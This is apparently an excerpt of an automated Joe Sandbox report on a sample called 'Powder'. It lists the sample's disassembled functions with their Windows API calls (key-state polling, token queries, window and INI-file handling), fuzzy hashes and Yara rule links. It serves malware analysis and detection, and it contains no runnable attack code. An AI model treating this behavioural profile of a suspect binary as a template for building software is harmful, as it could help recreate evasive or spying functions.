Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 2562c6f7f0eea1ee720a4cac60a028aab0f08c962415febe39d607e00bd56fd9
Instruction ID: 64d96de0414c885e303229b66fe7643e4065e0e872f2adb7ab800f30cdae7389
Opcode Fuzzy Hash: 2562c6f7f0eea1ee720a4cac60a028aab0f08c962415febe39d607e00bd56fd9
Instruction Fuzzy Hash: 84515E71208204AFD744EF64C981F6EB7E9FF84304F00591EF599A72A1DB31E949CB52

Function 00E6EBB4 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00E6EC62
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00E6EC8B
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00E6ECCA

Part of subcall function 00E04D37: __itow.LIBCMT ref: 00E04D62
Part of subcall function 00E04D37: __swprintf.LIBCMT ref: 00E04DAC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00E6ECEF
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00E6ECF7

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 2fb4ecffbc9b92a69d9a323266013b8105fdf08f9c3672d10a46d4edb621ee2d
Instruction ID: 8899e0cbecc1c75c1aa52259d51ccaba07d5ec121f270d022ec32c565be9d415
Opcode Fuzzy Hash: 2fb4ecffbc9b92a69d9a323266013b8105fdf08f9c3672d10a46d4edb621ee2d
Instruction Fuzzy Hash: 0A513B75A00109DFCB01EF64D985EAEBBF5EF08314B148499E909BB3A2CB31ED51DB50

Function 00E8A67B Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b17c0f0a496814f4ce47da6e1ee3c81e4c9a6a651d9011f930924753e6a430ad
Instruction ID: e7c623b7077944f59ecc5643e71239fb76263d777ac6e5a8d0cad8bf3be65f32
Opcode Fuzzy Hash: b17c0f0a496814f4ce47da6e1ee3c81e4c9a6a651d9011f930924753e6a430ad
Instruction Fuzzy Hash: 5541EF35900114AFE720EB28CC88FA9BBB9AB09314F181177F91EB72D1C672AD41EB51

Function 00E02714 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00E02727
ScreenToClient.USER32(00EC77B0,?), ref: 00E02744
GetAsyncKeyState.USER32(00000001), ref: 00E02769
GetAsyncKeyState.USER32(00000002), ref: 00E02777

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 8c7e8954d143e2c0c0e858e75c554f23e1ac6f6329db12a2079ec3e0b2d2b50f
Instruction ID: 14a54010135a08066128211056555aed34e8cdfb2d1275e60e004220077676e8
Opcode Fuzzy Hash: 8c7e8954d143e2c0c0e858e75c554f23e1ac6f6329db12a2079ec3e0b2d2b50f
Instruction Fuzzy Hash: D9414C35504119FFDF159F68C848AE9BBB4BB05328F24935AF928B22D0CB31AD94DB91

Function 00E595D7 Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00E595E8
PostMessageW.USER32(?,00000201,00000001), ref: 00E59692
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00E5969A
PostMessageW.USER32(?,00000202,00000000), ref: 00E596A8
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00E596B0

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 7ac459bfbb56f244a7405efbff4272affa5abcfff3dedf8c7dd92941b355c4ab
Instruction ID: 415ba2e28e0a3b4779b553893fac27fce9228c8dd27635ac7f79002c99b9a7e1
Opcode Fuzzy Hash: 7ac459bfbb56f244a7405efbff4272affa5abcfff3dedf8c7dd92941b355c4ab
Instruction Fuzzy Hash: 4C31CE71900219EFDB14CF69D94CADE3BB5FB44316F10461AFD25AB1D2C3B09928DB91

Function 00E5BD85 Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00E5BD9D
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00E5BDBA
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00E5BDF2
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00E5BE18
_wcsstr.LIBCMT ref: 00E5BE22

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: bb029727197b820a10caae638d8941fa0a5dd8eb24490730fc6ace7373c8110e
Instruction ID: cadae3937e7971b2ac65ab30162223eb3d72509766d558652d17e2740dd97bb1
Opcode Fuzzy Hash: bb029727197b820a10caae638d8941fa0a5dd8eb24490730fc6ace7373c8110e
Instruction Fuzzy Hash: 62212932204218BFEB255B35AC0AEBB7BACDF45760F14502AFD09EA192EF61DC449760

Function 00E8B7BD Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00E029E2: GetWindowLongW.USER32(?,000000EB), ref: 00E029F3

GetWindowLongW.USER32(?,000000F0), ref: 00E8B804
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 00E8B829
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00E8B841
GetSystemMetrics.USER32(00000004), ref: 00E8B86A
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00E7155C,00000000), ref: 00E8B888

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: d3fac5c73e304373fe027974c10467702acac4a04c9c98ba4b430b3518ac7a1f
Instruction ID: 950748c67bd9ee943217e4804ba837790c59a729ad0dd6084eee403adfa3ab64
Opcode Fuzzy Hash: d3fac5c73e304373fe027974c10467702acac4a04c9c98ba4b430b3518ac7a1f
Instruction Fuzzy Hash: DE219431914255AFCB28AF398C08B6A37A8FB45724F11573AF92DF61E0D7309814CB80

Function 00E76138 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00E76159
GetForegroundWindow.USER32 ref: 00E76170
GetDC.USER32(00000000), ref: 00E761AC
GetPixel.GDI32(00000000,?,00000003), ref: 00E761B8
ReleaseDC.USER32(00000000,00000003), ref: 00E761F3

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 49621f926b52f608cc832b507ccb37087561c52b3a1cf18256dbcb8b5ba8ce1c
Instruction ID: 1e5182293b282b80bd5611fb29c0cfd488d475b9780e1f9a15d9c64ca5663eb6
Opcode Fuzzy Hash: 49621f926b52f608cc832b507ccb37087561c52b3a1cf18256dbcb8b5ba8ce1c
Instruction Fuzzy Hash: 2E219676A016049FD714EF65DD88A9ABBF5EF48350F04C46AF94AE7352CB30AD44CB90

Function 00E016CF Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00E01729
SelectObject.GDI32(?,00000000), ref: 00E01738
BeginPath.GDI32(?), ref: 00E0174F
SelectObject.GDI32(?,00000000), ref: 00E01778

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: cd72f4375d462fbe33df422af6e6ea289111aafedf66cf31e27014e6ef3879e1
Instruction ID: 45f1f8e96ce3ab2159fe2b6bf478a4f22eaf73d1342f892aaa3d18728247af34
Opcode Fuzzy Hash: cd72f4375d462fbe33df422af6e6ea289111aafedf66cf31e27014e6ef3879e1
Instruction Fuzzy Hash: 98219232408318EFDB119F26EC49B6D7BE8A701315F144267FA55BA1E0D772989ACF90

Function 00E5C837 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00E5C84C
_memcmp.LIBCMT ref: 00E5C86A
_memcmp.LIBCMT ref: 00E5C87D
_memcmp.LIBCMT ref: 00E5C895
_memcmp.LIBCMT ref: 00E5C8AD

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 37bfb623f30af0b4a4a1004ac3f536d8e38c8ec5f1aa036207a688fc383b2d80
Instruction ID: f8d90e56bc4b933f313387d48c9ba7aca3f5488d5e5d8344465d0063cd473373
Opcode Fuzzy Hash: 37bfb623f30af0b4a4a1004ac3f536d8e38c8ec5f1aa036207a688fc383b2d80
Instruction Fuzzy Hash: B901F9626003153FD6086120AC52FFB739C9A3034AF146465FE07B6741F750FF1882E0

Function 00E6504E Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00E65075
__beginthreadex.LIBCMT ref: 00E65093
MessageBoxW.USER32(?,?,?,?), ref: 00E650A8
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00E650BE
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00E650C5

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: 6d79339f4720dfaf82430545532ecc3ef4c330b5b5425ab8b8cb1f0e1db97163
Instruction ID: 9737cbc55bbe0084c377c7a5ceace9013d70d76d362243676e3b73decb29106a
Opcode Fuzzy Hash: 6d79339f4720dfaf82430545532ecc3ef4c330b5b5425ab8b8cb1f0e1db97163
Instruction Fuzzy Hash: 5611E9B29086186FC7418BAAAC04A9B7FACEB45360F540267F815F3261D67289488BE1

Function 00E58E20 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00E58E3C
GetLastError.KERNEL32(?,00E58900,?,?,?), ref: 00E58E46
GetProcessHeap.KERNEL32(00000008,?,?,00E58900,?,?,?), ref: 00E58E55
HeapAlloc.KERNEL32(00000000,?,00E58900,?,?,?), ref: 00E58E5C
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00E58E73

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 64838b59b887d1fc45dbdf2b6d4ef5e679fa3077aeae5e3a68291999db9eeca0
Instruction ID: 2a9463424a718297606c0e6af65197aff0531c1940eccd7ba2c2bbb9574aadc7
Opcode Fuzzy Hash: 64838b59b887d1fc45dbdf2b6d4ef5e679fa3077aeae5e3a68291999db9eeca0
Instruction Fuzzy Hash: 5D011D71601204BFDB214FA6DD49D6B7BBDEF89755B50096AFC49E2220DF31DC18CA60

Function 00E657FF Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00E6581B
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00E65829
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00E65831
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00E6583B
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00E65877

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: d236a29fdd00086b618bcdcf14cd9063a5e51b4c832acb60919ece58387dee2a
Instruction ID: 473282c8c1620f6828359b9caa59dc8381b890793c658ae5953009063efbaac5
Opcode Fuzzy Hash: d236a29fdd00086b618bcdcf14cd9063a5e51b4c832acb60919ece58387dee2a
Instruction Fuzzy Hash: DC015732E42A199FCF089FEAE8499EDBFB8FB08751F40456AE501B3140CB309554CBA1

Function 00E58CC7 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00E58CDE
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00E58CE8
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00E58CF7
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00E58CFE
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00E58D14

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 40bca9c9fd83bd62a595f0f945087a27bbb7a0605ae7c4add6b1c95219476956
Instruction ID: 872be07cffddfca6f4d9ac3d502c3dfc6946cb6ac22fb9e814405b9035fc7314
Opcode Fuzzy Hash: 40bca9c9fd83bd62a595f0f945087a27bbb7a0605ae7c4add6b1c95219476956
Instruction Fuzzy Hash: C9F0AF31201204AFEF111FA69C89E6B3BACEF49759B904927F945E2190CA609C08DB60

Function 00E58D28 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00E58D3F
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00E58D49
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00E58D58
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00E58D5F
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00E58D75

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 7447b2b6fb3dc135269bba754425631de8558aac506eaf843a1fe36ca90caf49
Instruction ID: 8b180d01daae7f2bf803d5415998eb83b2c2672c2d8ac61f21be8466ddb9166d
Opcode Fuzzy Hash: 7447b2b6fb3dc135269bba754425631de8558aac506eaf843a1fe36ca90caf49
Instruction Fuzzy Hash: 54F0AF31201204AFEB110FA6EC88F6B3BACEF89759F840517F944E2190CB609D09DB60

Function 00E5CD7C Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00E5CD90
GetWindowTextW.USER32(00000000,?,00000100), ref: 00E5CDA7
MessageBeep.USER32(00000000), ref: 00E5CDBF
KillTimer.USER32(?,0000040A), ref: 00E5CDDB
EndDialog.USER32(?,00000001), ref: 00E5CDF5

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 5ac7e49e4809c82e47560973be4330b125a4cded9793ce9cbf340c558364ba3c
Instruction ID: 5f7bba5fc13f54f21ba0cf8cfc9f2adbc31ee747a3c5a476d3ac61278c900e47
Opcode Fuzzy Hash: 5ac7e49e4809c82e47560973be4330b125a4cded9793ce9cbf340c558364ba3c
Instruction Fuzzy Hash: D1018B71500704AFEB215B51DD5EB967B78FB04706F501A6BF682B14D1DBF0A95C8B80

Function 00E0178C Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00E0179B
StrokeAndFillPath.GDI32(?,?,00E3BBC9,00000000,?), ref: 00E017B7
SelectObject.GDI32(?,00000000), ref: 00E017CA
DeleteObject.GDI32 ref: 00E017DD
StrokePath.GDI32(?), ref: 00E017F8

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 8e7402c956e07bf3cc7f9664ebe02c8c89acac68e7a629ee045e527b3aca5287
Instruction ID: 551c1b3f2b1c17140d6f3a4e280b8c2b740eb5651c2341eacd80a79ef1ee57bb
Opcode Fuzzy Hash: 8e7402c956e07bf3cc7f9664ebe02c8c89acac68e7a629ee045e527b3aca5287
Instruction Fuzzy Hash: 6EF03C32008258EFDB295F27EC4CB583FA4AB01326F488266F5A9781F0C732499ADF10

Function 00E6C9DA Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00E6CA75
CoCreateInstance.OLE32(00E93D3C,00000000,00000001,00E93BAC,?), ref: 00E6CA8D

Part of subcall function 00E11A36: _memmove.LIBCMT ref: 00E11A77

CoUninitialize.OLE32 ref: 00E6CCFA

Strings

.lnk, xrefs: 00E6CA09, 00E6CA31, 00E6CA3B

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
